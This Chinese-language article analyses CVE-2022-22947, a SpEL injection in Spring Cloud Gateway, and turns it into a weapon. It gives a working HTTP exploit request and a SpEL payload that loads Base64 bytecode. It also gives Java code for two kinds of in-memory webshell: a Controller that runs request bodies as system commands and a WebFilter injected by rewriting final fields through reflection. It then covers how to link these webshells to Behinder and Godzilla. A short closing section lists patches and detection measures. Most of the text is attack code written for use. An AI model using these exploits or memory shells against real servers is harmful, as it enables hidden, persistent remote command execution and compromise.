从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
字数 1528 2025-08-27 12:33:23
Spring Cloud Gateway漏洞分析与内存马注入技术研究
漏洞分析
CVE-2022-22947概述
- 漏洞类型: SpEL表达式注入漏洞
- 影响组件: Spring Cloud Gateway
- 官方公告: VMware安全公告
- 漏洞发现者Blog: wya.pl
- 漏洞原理: 通过
ShortcutConfigurable#getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue)对可控表达式通过StandardEvaluationContext进行解析造成RCE
调试分析
POC示例:
POST /actuator/gateway/routes/rce HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:8000
Content-Length: 362
{
"id": "rce",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "cmd"
}
}
],
"uri": "http://localhost:8080",
"order": 2
}
关键触发点:
- 漏洞触发点在
ShortcutConfigurable#getValue方法 - 通过控制
entryValue参数实现SpEL表达式注入 - 漏洞不仅限于
AddResponseHeaderFilter,几乎所有通过内置验证的Filters和Predicates都可触发
武器化研究
内存马注入技术
1. SPEL表达式注入字节码
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
字节码生成工具:
import org.springframework.util.Base64Utils;
import java.io.*;
public class EncodeShell {
public static void main(String[] args){
byte[] data = null;
try {
InputStream in = new FileInputStream("MemShell.class");
data = new byte[in.available()];
in.read(data);
in.close();
} catch (IOException e) {
e.printStackTrace();
}
String shellStr = Base64Utils.encodeToString(data);
System.out.println(shellStr);
}
}
2. Spring Controller内存马
注册方法:
- 使用
RequestMappingHandlerMapping#requestMapping注册(Spring 4.0+) - 使用
AbstractUrlHandlerMapping#registerHandler(针对DefaultAnnotationHandlerMapping) - 使用
AbstractHandlerMethodMapping#detectHandlerMethods(针对RequestMappingHandlerMapping)
示例代码:
public class SpringRequestMappingMemshell {
// 方法1注入
public static void firstWay(RequestMappingHandlerMapping requestMappingHandlerMapping) throws NoSuchMethodException {
Method method = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition url = new PatternsRequestCondition(pathPattern);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
requestMappingHandlerMapping.registerMapping(info, new SpringRequestMappingMemshell(), method);
}
public ResponseEntity executeCommand(@RequestBody String reqBody) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(reqBody).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
3. Spring WebFilter内存马
实现原理:
- Spring WebFlux的Filter机制类似于Servlet Filter
- 需要修改
DefaultWebFilterChain的实例 - 通过反射获取并修改
FilteringWebHandler的chain属性
注入代码:
public static String doInject() {
String msg = "Inject MemShell Failed";
try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
// 获取defaultWebFilterChain
NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0",false);
ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler",false);
// ...省略中间获取过程...
FilteringWebHandler filteringWebHandler = (FilteringWebHandler)getFieldValue(exceptionHandlingWebHandler,"delegate",true);
DefaultWebFilterChain defaultWebFilterChain= (DefaultWebFilterChain)getFieldValue(filteringWebHandler,"chain",false);
// 构造新的Chain进行替换
Object handler= getFieldValue(defaultWebFilterChain,"handler",false);
List<WebFilter> newAllFilters= new ArrayList<>(defaultWebFilterChain.getFilters());
newAllFilters.add(0,new FilterMemshellPro());
DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);
// 反射修改final字段
Field f = filteringWebHandler.getClass().getDeclaredField("chain");
f.setAccessible(true);
Field modifersField = Field.class.getDeclaredField("modifiers");
modifersField.setAccessible(true);
modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.set(filteringWebHandler,newChain);
modifersField.setInt(f, f.getModifiers() & Modifier.FINAL);
msg = "Inject MemShell Successful";
}
}
} catch (Exception e) {
e.printStackTrace();
}
return msg;
}
连接冰蝎与哥斯拉
冰蝎连接问题
- 传统冰蝎依赖
pageContext对象 - Spring WebFlux没有Servlet API,缺少
HttpServletRequest和HttpServletResponse - 解决方案: 修改冰蝎代码,将
pageContext替换为Map并实现所需方法
哥斯拉连接实现
- 已有Controller版本实现(参考REF[7])
- WebFilter版本优势: 对任意路由请求都有效,不影响正常业务
- 关键代码: 通过Header进行身份验证
String authorizationHeader = exchange.getRequest().getHeaders().getFirst(HttpHeaders.AUTHORIZATION);
if(authorizationHeader != null && authorizationHeader.equals(auth)) {
// 处理恶意请求
}
防御与检测
-
漏洞修复:
- 升级Spring Cloud Gateway到安全版本
- 禁用Actuator端点或进行访问控制
-
攻击检测:
- 监控反射操作日志(高版本JDK会记录敏感反射操作)
- 检查异常路由配置
- 监控内存中新增的Filter或Controller
-
防护措施:
- 使用
SimpleEvaluationContext替代StandardEvaluationContext - 实施严格的输入验证
- 启用Spring Security进行访问控制
- 使用